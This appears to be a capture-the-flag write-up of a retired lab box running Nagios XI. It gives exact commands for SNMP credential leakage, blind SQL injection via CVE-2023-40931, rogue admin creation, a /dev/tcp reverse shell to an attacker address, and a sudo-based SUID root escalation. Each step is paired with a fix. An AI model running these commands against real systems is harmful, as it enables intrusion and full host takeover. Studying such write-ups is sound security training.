Monitored
Summary
I paired a full TCP scan with a UDP sweep against $TARGET and found an exposed SNMP service still using the default 'public' community string alongside a Nagios XI monitoring console. Walking the SNMP process table leaked a plaintext password for a service account and the exact sudo command that used it. Because Nagios XI's REST API does not check whether an account is disabled, that leaked password authenticated an API session that a SQL-injection flaw (CVE-2023-40931) then used to steal the built-in administrator's API key.
The stolen key created a rogue admin account, which was used to define a malicious monitoring 'check command' that Nagios executed as the nagios service user for a reverse shell. From there, an overly broad sudo rule letting nagios run Nagios XI's maintenance scripts as root was abused to plant a SUID root shell, completing full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
TCP service scan
$ nmap -sV -p22,80,389,443,5667 $TARGETUDP scan finds the SNMP service most scans skip
$ sudo nmap -Pn -sU -p161 -sV --script snmp-info $TARGETMap the vhost referenced in the site's TLS certificate
$ echo "$TARGET monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hostsExact commands 1
Dump the HOST-RESOURCES-MIB process table; the cron command line leaks the credential
$ snmpbulkwalk -v2c -c public -On $TARGET . | grep -E 'svc'FixLock down SNMP: change the default community string and restrict source accessCritical
Exact commands 1
Valid_min=500 keeps the token alive long enough for the slow blind SQLi in the next step
$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --data-urlencode 'username=svc' --data-urlencode "password=$PASSWORD" --data-urlencode 'valid_min=500'FixEnforce account status checks consistently across all authentication pathsHigh
Exact commands 1
Time-based blind SQLi, narrowed to the one column needed to keep it fast
$ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data 'action=acknowledge_banner_message&id=3&token=<SVC_API_TOKEN>' -p id --dbms=MySQL --batch --threads 10 -D nagiosxi -T xi_users -C api_key --dumpFixPatch Nagios XI against the authenticated SQL injection (CVE-2023-40931)Critical
Exact commands 3
Create a full admin account with the stolen API key
$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<STOLEN_API_KEY>&pretty=1' -d "username=pwn&password=$PASSWORD4&name=pwn&email=pwn@monitored.htb&auth_level=admin&force_pw_change=0"Harvest the anti-CSRF 'nsp' token from the login form
$ curl -skS -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' | grep -iE '<input'Log in as the rogue admin account
$ curl -skS -L -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' --data-urlencode 'nsp=<NSP_TOKEN>' --data-urlencode 'page=auth' --data-urlencode 'pageopt=login' --data-urlencode 'username=pwn' --data-urlencode "password=$PASSWORD4" --data-urlencode 'loginButton=Login'FixRestrict what a bare API key can do, especially account creationHigh
Exact commands 4
Define the malicious command via the config API (equivalently: Configure > Core Config Manager > Commands > Add New in the UI)
$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<API_KEY>&pretty=1' -d 'command_name=pwn-revshell' -d "command_line=/bin/bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/443 0>&1'"Listener for the callback; must be running before the check is triggered
$ nc -lvnp 443Executes the reverse shell as the nagios user
$ # In the UI: click 'Apply Configuration' (required or the command is never written to the live config), then open the command and 'Run Check Command'Prove the foothold: uid=1001(nagios)
$ id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)FixTreat monitoring check-command configuration as code execution and restrict it accordinglyHigh
Exact commands 7
Confirm nagios can run Nagios XI maintenance scripts and init.d/nagios as root with NOPASSWD
$ sudo -n -lBack up the binary before overwriting it
$ cp /usr/local/nagios/bin/npcd /tmp/npcd.bakStop the service so the binary can be replaced
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd stopReplace the nagios-owned binary the root script will start
$ printf '#!/bin/bash\nchmod 6777 /bin/bash\n' > /usr/local/nagios/bin/npcd && chmod +x /usr/local/nagios/bin/npcdA root-owned script starts the poisoned binary, setting SUID on /bin/bash
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd startDrop into a root shell
$ /bin/bash -pProve root (uid=0) before reading the flag; replace with <root.txt>
$ id && cat /root/root.txtFixRemove the overly broad sudo rule on Nagios XI's maintenance scriptsCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.56 |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.56 ((Debian)) |
| 5667/tcp | unknown recon-sweep-discovered |
| 161/udp | snmp SNMPv1 server; net-snmp SNMPv3 server (public) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.